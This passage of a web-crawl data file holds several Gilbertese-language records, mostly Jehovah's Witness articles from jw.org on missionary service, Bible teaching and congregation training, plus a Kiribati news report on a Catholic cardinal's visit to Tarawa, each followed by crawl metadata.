mwiokoau.\"\nN 1993 ao Ute mai Tiaman, ae ngkai ai tibwa 50 tabun ana ririki, e mwiokoaki bwa e na mitinare i Madagascar. E taku: \"N te moantai, I kabokorakora n reiakina te taetae n te tabo anne, I kekeiaki ma te kabuebue, te aoraki ae te maraeria, te mannaoraki ae te amoeba, ao te mwata. Ma e ngae n anne e rangi ni bati buokau. A buokai taari aine n te tabo anne, natiia, ao aomata ake I reirei n te Baibara ma ngaiia n aroia n taotaon nanoia n reireinai bwa N na rabakau aia taetae. E rangi n tabeakinai naba toau ni mitinare ngkana I aoraki. Ma ae moan te kakawaki riki, e boni buokai Iehova. I katoatai ni bunrii nakoina raraomau n au tataro. Imwina, I taotaona nanou ni kakantaningaa kaekaana, tao n tabetai i nanoni boong ke namwakaina. E buoki au kangaanga ni kabane Iehova.\" E a tia ngkai ni beku Ute i Madagascar i nanon 23 te ririki.\nA RANGI NI KAKABWAIAAKI MAIUIA\nN aroia taan ibuobuoki ake tabeman riki, a aki toki n taekinna taari aine aika akea buuia ake a maeka n aaba aika ianena, bwa a rangi ni kakabwaiaaki maiuia n aia beku n aaba tabeua. Baikara kakabwaia tabeua ake a karekei?\nHeidi mai Tiaman, ae ngkai ai tibwa 70 tabun ana ririki, e mitinare i Ivory Coast (ae Côte d'Ivoire ngkai) man 1968. E taku: \"I karekea te kimwareirei ae moan te bati n noraia natiu n te onimaki n 'teimatoa n nakonako i nanon te koaua.' A a riki ngkai tabeman naake I reirei rimoa ma ngaiia n te Baibara bwa bwaiania ao unimwaane n te ekaretia. A bati i buakoia ake a aranai bwa Mama ke Grandma. E iangoai temanna i buakoia unimwaane n te ekaretia ma buuna ao natiia bwa kaain raoi aia utu ngai. E a tia Iehova n anganai natiu te mwaane ma buuna, ao teniman tibuu.\"\nE beku Karen mai Kanata ae ngkai ai tibwa 70 tabun ana ririki, i nanon 20 tabun te ririki i Aberika Maeao. E taku: \"E reke reireiau n te maiu ni mitinare bwa N na anga riki boni ngai, N na bwaina te tangira, ao te taotaonakinnano. Irarikin anne, kioina ngkai a kakaokoro aia reeti raou ni mwakuri, e a karababaaki iai au iango. I a ataia ae a kakaokoro aroni karaoani bwaai. Ai kakabwaiaakira ngai ngkai a a reke raoraou aika tangiraki ni kabutaa te aonnaba! E ngae naba ngkana a a bitaki aroni maiura ao mwiokoara, ma e teimatoa ara iraorao.\"\nMargaret mai Engiran ae ngkai e a kaania 80 ana ririki, e mitinare i Laos. E taku: \"E reke au tai n te beku n te aba teuana, n nora aron Iehova ni katikiia aomata nakon ana botaki man reeti ao katei ni kabane. E rangi ni kakorakoraaki au onimaki n anne. I a kakoauaa raoi bwa e kairiri Iehova n ana botaki ao a na kakororaoaki ana kantaninga.\"\nNi koauana, e a tia n ongoraeaki rongorongon aia mwakuri ni Kristian ae rianako taari aine aika akea buuia ake a beku n aaba tabeua. A bon tau ni kamoamoaaki. (MotiTae. 11:40) Ma ae kakawaki riki, e a tabe n ririkirake mwaitiia. (TaiAre. 68:11) Ko kona ni karaoi bitaki tabeua bwa ko aonga n toua mwini mwanekaia taari aine aika ingainga nanoia n te kaongora aei, ake e maroro te aba ma ngaiia? Ngkana ngaia anne, ko na boni \"katoongnga ao [n] noria ae e raoiroi Iehova.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/reirei-n-te-taua-n-tantani-tianuare-2017\/kukurei-n-anga-ngaiia-taari-aine-tuai-iein\/","date":"2018-01-19T01:53:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887692.13\/warc\/CC-MAIN-20180119010338-20180119030338-00532.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2090,"character_repetition_ratio":0.06,"word_repetition_ratio":0.002,"special_characters_ratio":0.229,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"A aki tokanikai n taai nako akana birimwaaka n te kabobirimwaaka ao akana korakora n te buaka, ao a aki naba rereke kanaia n taai nako akana wanawana, ao e aki naba reke kaubwaia n taai nako akana rabakau, ao a aki naba nanakoraoi n taai nako aroia akana iai aia atatai, ibukina bwa a taonakinako ni kabane n te tai are a riki iai baika aki kantaningaaki.\"\n\"Rokon te bure irouia kaain te aonnaba mairoun te mwaane ae tii temanna ao rokon te mate n te bure, ao e a ituia aomata ni kabane te mate ibukina bwa a bane ni bure—.\"\n\"Ibukin aei, ao e a kaotaki Natin te Atua, bwa e aonga n urui ana mwakuri te Riaboro.\"\n\"A bane kaain te aonnaba ni mena i aani mwaakan teuare buakaka.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/moantaeka\/aomata-rawawata\/","date":"2018-01-23T07:10:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00781.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":133,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.444,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti boreeti ao n tibwai nako mirion ma mirion Baibara ao booki aika aanaki man te Baibara ni katoa ririki. Ti katei ao ni kammwakuri aobiti n tararua ao taabo ni boreeti ni katobibia te aonnaba. A bobotaki nga ma nga n ekaretia nako n taabo aika a aranaki bwa Taabo n Taromauri aika a aki rangi ni bubura ao ni bobuaka, ma a bon taraaraoi. Antai ae mwaneni baikanne ni kabane?\nA boutokaaki ara mwakuri mani bwaintangira. (2 I-Korinto 9:7) N 1879 ni boreetiakin te kauoua ni kaongora n te maekatin aei, e taekinaki n te \"'Zion's Watch Tower' [aran te maekatin aei ngkoa] bwa boni IEHOVA ae boutokaa te maekatin aei, ao ngkai e onimakinaki ibukini boutokaana, e na bon aki bubutii te mwane ke te boraraoi ibukin aia boutoka aomata.\" Ti aki kona ni bita te babaire anne.\nA kanakoaki bwaintangira nakon ara aobiti n tararua teuana ke a karinaki n te bwaoki ni bwaintangira ae mena n te Tabo n Taromauri. Ma ti aki anga ara kabwianibwai, n rikomwane, ke ni kabooaki ibukin ara mwakuri ke booki ake ti boreeti. Ti aki kabooaki ngkai ti uarongorongo, ngkana ti kabwarabwara n te ekaretia ke n ibuobuoki ni katean taabo n taromauri. Ni koauana, e taku Iesu: \"Kam anganaki n akea boona, aanga naba n aki kabooaki.\" (Mataio 10:8) A a aki kabooaki ana toro te Atua n ara aobiti n tararua ni kabane n ikotaki naba ma te koraki ake a kaaina te Rabwata n Tautaeka ibukia Ana Tia Kakoaua Iehova.\n\"N aron ae ti kakaraoia, a reke bwaintangira mwaane man te anganano mairoura n tatabemanira nako ao mwaitin te tai are ti motinnanoia ni kakabwakaa iai\"\nA kamanenaaki bwaintangira mwaane ibukini kabuanibwai aika karina. A kukurei Kristian ngkoa n tibwai aia bwaai nakoia ake a rotaki ni kangaanga. (I-Rom 15:26) N aron naba anne, ti buokiia te koraki ake a rotakibuaka ni kabuanibwai ni kateani mwengaia, taabo n taromauri, katauraoan amwarake, kunnikai ma bwainnaoraki.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150901\/te-mwane-ni-buoka-ana-tia-kakoaua-iehova\/","date":"2018-01-23T00:56:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891546.92\/warc\/CC-MAIN-20180122232843-20180123012843-00109.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":323,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.409,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti tuangaki n te Baibara bwa e irekereke te toki ma te kamaunaaki n aron ae kangai: \"E na roko te rawawata ae korakora ae tuai ni kaoti mangke e moani karikaki te aonnaba ni karokoa ngkai . . . E koaua bwa ngkana a aki kakimototoaki boong akanne, ao akea te aomata ae na maiu.\" (Mataio 24:21, 22) Ma e beritanna te Atua bwa a mwaiti aika a na kamaiuaki ngke e kangai: \"A tabe ni maunanako kaain te aonnaba ma baike a tatangiri, ma e teimatoa n aki toki ane kakaraoa nanon te Atua.\"—1 Ioane 2:17.\nTera ae ko riai ni karaoia ngkana ko kani kamaiuaki man te aonnaba ae tabe ni maunanako aei ao n \"teimatoa n aki toki\"? Ko riai ni moana kaikoan am bwai ke ni katauraoi bwaai n rabwata riki tabeua? Ko aki. Ti kaumakaki n te Baibara bwa ti riai n uaiakini baika moani kakawaki aika kaokoro. Ti wareka ae kangai: \"Kioina ngkai a nangi waanako baikai, iaiangoia bwa tera aromi ae riai. Kam riai n riki bwa aomata aika kam itiaki n aroaroni maiumi ao ni karaoi mwakuri ibukin tangiran te Atua, ao ni kariariaa rokon ana bong Iehova ma n ururingnga.\" (2 Betero 3:10-12) E nanonaki ni \"baikai\" aika a na waanako bwa boni waaki n tautaeka n te aonnaba aika babakanikawai kaaina ao te koraki ake a onimakini tautaeka akanne n oneani mwin are a na onimakina Ana Tautaeka te Atua. E teretere iai bwa ti bon aki kona ni kamaiuaki ni kaubwaira ake ti kaikoi man te kamaunaaki.\nNi koauana, e irekereke kamaiuara ma kakaonimakira nakon Iehova ae te Atua ao reiakinan aroaro ni maiu ma mwakuri aika kakukureia. (Tebania 2:3) N oneani mwin ae ti na kakairi irouia aomata aika bati ni boong aikai ao n tarariaoi kanikina aika mataata aika kaotia bwa ti a maeka n taai aika kakawaki, ti riai ni \"kariariaa rokon ana bong Iehova ma n ururingnga.\" A kona Ana Tia Kakoaua Iehova ni kaota arom ni kamaiuaki n te bong ae e a kaan roko aei man te Baibara.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20150501\/ko-na-kangaa-ni-kamaiuaki-n-tain-te-toki\/","date":"2018-01-16T17:29:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886476.31\/warc\/CC-MAIN-20180116164812-20180116184812-00315.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":337,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E KABWARAA ANA BURE TEUAE MATE RABWATANA IESU AO E KAMARURUNGNGA\nA a ongo ngkai taekan Iesu aomata man taabo aika raroanako. A bati ake a mwananga ni kawaria n taabo naba ake e aki roroko te aba iai bwa a na ongora n ana reirei, ao n nori ana kakai. Ma imwin tabeua te bong, e a oki nako Kaberenaum ae te tabo are e kakaraoa iai ana mwakuri. E waekoa ni butanako taekan okina rinanon te kaawa aio i rarikin Namani Kariraia. N tokina ao a a bati ake a kawaria n te auti are e mena iai. Iai naba tabeman Baritaio ao taan reirei n te Tua ake a roko man aonon nako Kariraia ao Iutaia n ikotaki naba ma Ierutarem.\n\"Ao a bati aika ikotaki n te auti n te aro are e a kebotaua nanona ma matan naba te mataroa, ao e a taekina ana taeka te Atua nakoia.\" (Mareko 2:2) E a angaraoi ngkai karaoan te bwai ae rangi ni kamimi. Ti buokaki man te baere riki bwa ti na ataia ae iai mwaakan Iesu ni katoki rawawataia aomata, ao ni manga kamarurungia ake e rineiia.\nNgke e tabe n angareirei Iesu n te auti ae kebotaua, ao a roko mwaane aika aman ao a uota te mwaane ae mate rabwatana i aon te nne ni wene. A tangira Iesu bwa e na kamarurunga raoraoia. Ma ibukina bwa e a ibetutu te koraki, a aikoa kona n \"uotia nakon Iesu.\" (Mareko 2:4) Iangoa aroni kabwarananon anne. A tamwarakea taubukin te auti ao a kabwangabwangaa, ao a nna rikaaki te nne ni wene are mena iai te mwaane are mate rabwatana nako nanon te auti.\nE un Iesu ngke e uruanaki ana angareirei? E bon aki! Ni koauana e rangi n rotaki nanona n aia onimaki naakai ao e taku nakon teuare mate rabwatana: \"A a kabwaraaki am bure.\" (Mataio 9:2) Ma e boni kona ni kabwarai buure Iesu? A iango i nanoia taani koroboki ma Baritaio ao a kangai: \"E aera ngkai e taetae n aron aei teuaei? E taetae ni bakannatua. Iai riki temanna i rarikin te Atua ae e kona ni kabwarai buure?\"—Mareko 2:7.\nE atai aia iango Iesu ao e taku nakoia: \"E aera ngkai kam iangoi baikai i nanomi? Bwa tera ae bebete riki taekinana nakon teuare mate rabwatana, 'A a kabwaraaki am bure,' ke 'Teirake ao tabeka nnem ni wene ao nakonako'?\" (Mareko 2:8, 9) Eng, e kona Iesu ni kabwarai ana bure teuarei ae boto i aon ana angakarea are e na anga imwina riki.\nE kaotia ngkanne Iesu nakoia te koraki ma taani kabuakakaa bwa bon iai mwaakana ni kabwarai buure i aon te aba. E rairaki n taraa teuare mate rabwatana ao e tua ae kangai nakoina: \"I tuangko, Teirake ao tabeka nnem ni wene ao naako nakoni mwengam.\" E karaoa are e tuangaki ngkekei naba, e mwananga n otinako n uota nnena ni wene i mataia aomata ni kabane ake a roko. A rangi ni mimi aomata ao a neboa te Atua ni kangai: \"Ti tuai man nora te aekaki aei\"!—Mareko 2:11, 12.\nE kakaongora ngkai Iesu e kairekerekea te bure ma te aoraki, ao kabwaraani buure ma reken te marurung. Ti reiakinaki n te Baibara bwa e bure ara moani karo are Atam, ngaia are ti a bane iai n ituaki ni mwin te bure ae te aoraki, ao te mate. Ma i aan ana kairiri ana Tautaeka n Uea te Atua, ao Iesu e nang kabwarai aia bure aomata ni kabane ake a tangira te Atua mani beku irouna. Ao ngkanne e nang kamaunaaki te aoraki n aki toki.—IRom 5:12, 18, 19.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-kariraia\/mate-rabwatana-teuae-buure-kabwaraaki\/","date":"2018-01-20T14:05:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889617.56\/warc\/CC-MAIN-20180120122736-20180120142736-00522.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":598,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.428,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BAIKA KAKAWAKI AIKA MENA N ANA TAEKA TE ATUA | IEREMIA 32-34 Te Kanikina Ibukini Manga Kaokaia Tibun Iteraera Te Kanikina Ibukini Manga Kaokaia Tibun Iteraera NORI Text Image 32:9-14 E karaoi mwaneka aika riai Ieremia ibukin te kabooaba. 33:10, 11 E kaota raoiroina Iehova ngke e berita nakoia taenikai aika butimwaea ana reirei ni kaetieti bwa a na kabwaraaki aia bure ao a na okira Iteraera. Tera aron Iehova ni kaota raoiroina nakoim? Imwaina Imwina Print Tibwaia Tibwaia MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI Te Kanikina Ibukini Manga Kaokaia Tibun Iteraera Kiribati Te Kanikina Ibukini Manga Kaokaia Tibun Iteraera https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/m\/202017163\/univ\/art\/202017163_univ_sqr_xl.jpg","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/mei-2017-mwb\/kaetieti-n-te-botaki-mei1-7\/kanikina-ibukini-manga-kaokaia-tibun-iteraera\/","date":"2018-01-20T14:05:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889617.56\/warc\/CC-MAIN-20180120122736-20180120142736-00522.warc.gz","language":"gil","language_score":0.9999912977,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999912977218628}","num_words":101,"character_repetition_ratio":0.133,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"E Kamaiu Amou\"\nNgkai bon te kabentaa Iesu, e ataa raoi aroni karaoan te amo ao e bae n nangoia n te kunnikai ke ni kunin te man bwa e aonga ni kamwengaraoi amoana. Ni butimwaean amon Iesu ae karekeaia taan rimwini Kristo n ara tai ni bwabetito, ti a amoi iai mwakuri ao mwioko aika kangaanga, ma e kabebetenano karaoana n norani kakabwaia aika bati mai iai.\nBaikara kakabwaiaam man te tai are ko amoa iai amon Iesu?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tianuare-2018-mwb\/kaetieti-n-te-botaki-tian29-beb4\/e-anga-te-kabebetenano-iesu\/","date":"2018-01-16T09:32:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886397.2\/warc\/CC-MAIN-20180116090056-20180116110056-00138.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":79,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"by Rikitieta Teebute.\nE toko rangan ana karetinare te Aro ni katorika ae Cardinal Mafi Soane Patita Paini iaon Tarawa ni Moaningabongin te bong aio Kaabang 10 Nobwambwa n te marae ni wanikiba are I Bonriki.\nE butimwaeki te Karetinare aio iroun te kauoman Beretitenti ae Kourabi Nenem ni moan ruaona man te wanikiba ao e kairaki naban aia tabo aomata ake a kakawaki.\nMai ikanne ao e na kaingabong ikanne ao ni manga kakiowa ana tabo te Ebikobo Bauro Meea bwa e na katawanou iai ao e a nako naba n nikiraki n ana tabo are e na tiku iai n te Mery's Motel I Bairiki ibukin motirawana mai imwiin mwanangana.\nSoane Patita Paini e bon kaeka ana kakao te Ebikobo n te ririki ae nako nakoia bwa ana roko n noora Kiribati ma e a tibwa koro nanona n te ririki aio ao e a oti iai ba e a roko.\nKaretinare Soane bungiaki n 19 Ritembwa 1961 ao bon te kaaman ngaia n Ebikobo n te aba ae Tonga n te Aro ni Katorika ao e rineaki bwa te Ebikobo iroun te boobe Francis bwa te karetinare ngaia.\nE ngae n anne ao n rokona ikai ao e na bon kawari bareti aika teniua iaon Tarawa Teinainano ma Betio n karaoa iai te tutia ae rietata nakoia kaain te Aro ni Katorika iaon Tarawa.\nNi moa man te tairiki aio ao e reke ana tai te Karetinare aio ni kaitibo ma kaain Tonga aika a mena aion Kiribati are ana karaoa naba aia butimwaai nakoina n mwaneaban St Iotebwa ni moa man te bwakantaai n te aoa onoua ao n toki n te aoa te bwii ma teuana.\nNakon te Kanimabong ao e na anaaki irouia kaain St Joseph's Bareti Bikenibeu n iteran onoua ao ni karaoa te tutia n te aoa itiua n te ingbong naba anne ao n taorimeiaki ma aia butimwaai kaain te baereti aio.\nE na karoko naba irouia kaain te Bareti ae Betio ni karaoa nab ate tutia iai ibukin te anga beeba nakoia ataein te reirei ae St Patrick College ao e a ira naba kanoan te anga beeba anne bwa ai butimwaeakina naba irouia kaain te bareti anne ni ikotaki ma aia anga beeba ataein te reirei.\nNi kabaneean ana tutia are e na karaoia n te Tabati n te Cathedral Church are I Teaoraereke ni moanaki man te aoa tebwiina ao e a tao rimwiaki naba ma kanoan te mwaneaba ibukin te butimwaai nakon te Karetinare.\nA bon bane ni kawaraki taabo ni kabane iroun te Karetinare aio iaon Tarawa ni kabuta ao iai te kantaninga n roko aio bwa e na rangi ni korakora riki aia onimaki aia onimaki kaain aia Ekaretia ao ana kakorakoraaki riki ni kaitarai waaki inanon aia ekaretia.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/kiribatiupdates.com.ki\/2016\/11\/10\/cardinal-mafi-soane-patia-paini-e-rook-i-kiribati\/","date":"2018-01-17T14:58:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886946.21\/warc\/CC-MAIN-20180117142113-20180117162113-00258.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":461,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"\"Ko na mwiokoiia mwaane aika kakaonimaki ni [baikai], . . . ao mwaane aikai a na tau n reireinia aomata tabemwaang.\"\nANENE: 103, 101\n1, 2. Tera aia iango aomata aika bati ibukin aia mwakuri?\nA NAMAKINNA n angiin te tai aomata bwa a kakawaki ke a aki man aia mwakuri. A iangoia aomata aika bati bwa e kinaaki te aomata man nakoana. N aaba tabeua, ngkana ko kani kinaa temanna, ko bae n titirakinna moa ni kangai: \"Tera am mwakuri?\"\n2 E kabwarabwaraia aomata te Baibara n tabetai man aia mwakuri. E taekina \"Mataio [bwa] te tia rikoa te taekiti,\" \"Timon [bwa] te tia karaoa kunin te man,\" ao \"Ruka [bwa] te taokita.\" (Mat. 10:3; Mwa. 10:6; IKoro. 4:14) A kinaaki naba aomata mani mwiokoaia iroun Iehova ke nakoaia. Iangoa te Uea are Tawita, te burabeti are Eria, ao te abotoro are Bauro. E rangi ni kakawaki irouia mwaane aikai mwiokoaia mairoun te Atua. Ti riai ni karaoa naba anne ngkana iai mwiokoara.\n3. E aera bwa a riai n reireinaki ni kataneiaaki aika ataei riki irouia aika ikawai? (Nora te taamnei ni moan te kaongora aei.)\n3 A bati i buakora aika tangiri aia mwakuri ao a kan teimatoa ni karaoia. Ma e kananokawaki bwa man ana bong Atam, a ririkirake ni kara te roro teuana ma teuana ao n oneaki mwia. (TeMin. 1:4) N taai aika tibwa nako, e a karikii kangaanga aika okoro te bitaki aei nakoia Kristian ni koaua. E teimatoa n rikirake aia mwakuri ana aomata Iehova ao ni kangaanga karaoana. Ngkai ti kakorakoraira n tou mwini babaire aika boou, a a karaoaki aanga aika boou ibukini karaoani bwaai, ae n angiin te tai a irekereke ma kamanenaani kukune aika boou aika waekoa ni bitaki. E bae ni kangaanga irouia tabeman kaara, reiakinan aanga aika boou ibukini karaoan te mwakuri. (Ruka 5:39) E nonoraki naba buan te korakora ao te marurung n te kara. (TaeRab. 20:29) Ngaia are bon te mwakuri n tatangira ae manena katauraoaia aika ataei riki irouia aika ikawai nakoni mwioko aika bati riki.\n4. E aera bwa e kangaanga irouia tabeman bwa a na anganako mwiokoaia ni kairiri? (Nora te bwaoki ae \"E Aera Bwa A Aki Anganako Mwiokoaia Tabeman.\")\n4 E kona ni kangaanga irouia ake iai mwaakaia ni kairiri bwa a na angania aika ataei riki aia mwakuri. A iangoia tabeman bwa e na bua iai nakoaia ae a tangiria. Tabeman a raraoma ni buani mwaakaia, ao a iangoia bwa a aki kona aika ataei riki ni karaoia raoi. Ma tabeman riki, a kona n iangoia bwa akea aia tai n reireina temanna ni kataneia. N iterana are teuana, a riai aika ataei riki n taotaon nanoia ngkana a aki anganaki mwioko aika bati riki.\n5. Baikara titiraki aika a na maroroakinaki n te kaongora aei?\n5 Ti na maroroakina te kangaanga aei man itera aika uoua. Te moan, a na kangaa aika ikawai ni buokiia aika ataei riki bwa a na taui mwioko aika bati riki, ao bukin tera bwa e kakawaki aei? (2Tim. 2:2) Te kauoua, e aera bwa e kakawaki irouia aika ataei riki kawakinan te aroaro ae riai ngkana a buokiia taari mwaane aika mwaatai riki nakoia ao ni karekea reireiaia? Ti na moanna man noran aron te Uea are Tawita ni katauraoi bwaai ibukini buokan natina nakon te mwioko ae kakawaki.\nE KATAURAOAKI TOROMON AO NI BOUTOKAAKI IROUN TAWITA\n6. Tera are e kani karaoia te Uea are Tawita, ao tera are e tuangnga Iehova?\n6 Imwin tiotionakon Tawita ngke e karabarabaa i nanon ririki aika bati, e a riki bwa te uea ao ni maeka n te auti ae kamwengaraoi. E nanokawaki ngke akea te \"auti,\" ke te tembora ae katabuaki nakon Iehova, ngaia are e a kani katea teuana. E taku nakon Natan ae te burabeti: \"Noria I mamaeka n te auti ae karaoaki mani kaai aika tiira, ma ana ati ni berita Iehova e mena i aan umwanrianna aika kunnikai.\" E kaeka Natan ni kangai: \"Karaoi bwaai nako akana i nanom, bwa e memena te Atua ae koaua iroum.\" Ma e kaokoro nanon Iehova n aei. E tuanga Natan bwa e na tuanga Tawita aei: \"Tiaki ngkoe ae ko na katea au auti ae N na maeka iai.\" E ngae ngke e karaua nanon Tawita ma te taeka n akoi Iehova bwa e na teimatoa ni kakabwaiaa, ma e bon anga ana kaetieti nakon natin Tawita ae Toromon bwa e na katea te tembora. Tera aron Tawita?\n7. Tera aron Tawita nakon ana kairiri Iehova?\n7 E aki kerikaaki Tawita man ana boutoka, ke tao n nanokawaki ngke e nang aki kamoamoaaki ni katean te tembora ma ai bon natina. E a ataaki te kateitei bwa ana tembora Toromon, ao tiaki Tawita. E teimatoa Tawita ni boutokaa te mwakuri ni kateitei ma nanona, e ngae naba ngke tao e nanokawaki bwa e aki koro bukin are e tangiria. E ingainga ni baireiia te koraki ake a na mwakuri ao ni boboti biiti, buraati, tirewa, ao koora, n ikotaki naba ma kaai aika tiira. Irarikina, e kaungaa Toromon ni kangai: \"Ao ngkai natiu, e bia memena Iehova iroum, ao e bia nakoraoi am waaki ao katea ana auti Iehova ae Atuam, n aron are e taekinna ibukim.\"\n8. E aera ngkai e kona n iangoia Tawita bwa e tuai n tau Toromon, ma tera are e karaoia Tawita?\n8 Wareka 1 Rongorongo 22:5. E bae n iangoia Tawita bwa e tuai n tau Toromon ni kaira te mwakuri ni kateitei ae kakawaki aei. Ni koauana, e riai te tembora n \"rianako tamaroana,\" ao Toromon n te tai anne e 'uarereke ao n ronnano.' Ma e ngae n anne, e ataia Tawita ae e na kataubobongaaki Toromon iroun Iehova ibukin te mwakuri aei. Ngaia are e kaatuua ana iango Tawita ni baike e kona n ibuobuoki iai, ni katauraoi baika rangi ni bati ibukin te kateitei.\nTE KIMWAREIREI N TE REIREI NI KATANEIAI NAKOIA TABEMWAANG\n9. A na kangaa n rau nanoia aika ikawai ngkana a anganako mwioko tabeua nakoia tabemwaang? Kabwarabwaraa.\n9 A aki riai ni bwarannano taari mwaane aika ikawai ngkana a a riai n anganako mwiokoaia nakoia mwaane aika ataei riki. E na rangi n nakoraoi riki te mwakuri ngkana a reireinaki ni kataneiaaki aika ataei riki ibukini mwioko. A riai n rangi n rau nanoia mwaane aika mwiokoaki, ngkana a a tau n oneaki mwia irouia rooro n rikirake ake a reireinaki ni kataneiaaki. Ibukini kabwarabwaraana, iangoa te karo ae reireina natina te mwaane ni kabutikaa. Ngke e uarereke te teei anne, ao e tii mamataku ni baike e karaoi tamana. Ngke e a ikawai riki, e a kabwarabwarai tamana baike e karaoi. Imwina ngke e a roko n te roro ae kariaiakaki ni kabuta te kaa, e a kabutia ma e teimatoa naba tamana n tutuangnga kaetieti riki tabeua. N tabetai, a ikaruoruo ni kabuta te kaa, ma imwina riki e a bae ni kabuta te kaa n angiin te tai ngke e a kara tamana. E kukurei te karo ae wanawana aei bwa e nang onea mwina natina, ao e aki iangoia bwa e na bwaotinna. N aron naba anne, a riai ni kukurei mwaane aika ikawai ngkana a a tia n reireinia ni kataneiaia aika ataei riki ibukini mwioko tabeua n te ekaretia.\n10. Tera ana iango Mote ibukin te karineaki ao te mwaaka ni kairiri?\n10 Ti riai ngaira aika ti a ikawai ni kawakinira man te bakantang. Nora aroni Mote ngke a a moanna ni karaoaki mwakuri ni burabeti irouia tabeman tibun Iteraera n te kaembwa. (Wareka Warekaia Iteraera 11:24-29.) E kani katoka aroia anne Iotua are ana tia ibuobuoki Mote. E teretere raoi bwa e iangoia Iotua bwa a kakerikaaka kakannaton ao mwaakani Mote ni kairiri. Ma e taku Mote nakoina: \"Ko tauaninne ibukiu? Tiaki ngaia anne, I tangiria bwa a na bane ana aomata Iehova n riki bwa burabeti, ao e na kaaki taamneina Iehova i aoia!\" E ataia Mote bwa bon Iehova ae karaoa aei. N oneani mwin are e na ukera karineana Mote, e tangiria bwa a na bane ni karekea te bwaintituaraoi ibukin te onimaki ana toro Iehova. N aroni Mote, tiaki bwa ti riai ni kukurei naba ngkana a anganaki tabemwaang mwioko ake tao ti iangoia bwa ti na anganaki?\n11. Tera ana taeka te tari te mwaane temanna ngke e anganako mwiokoana?\n11 A bati ni boong aikai katoto ni kaineti ma taari mwaane ake a a tia ni mwakuri korakora i nanon ririki aika bati ao ni katauraoiia tabemwaang bwa a na taui mwioko aika bati riki. N te katoto, e kabwanina ana tai ni beku te tari te 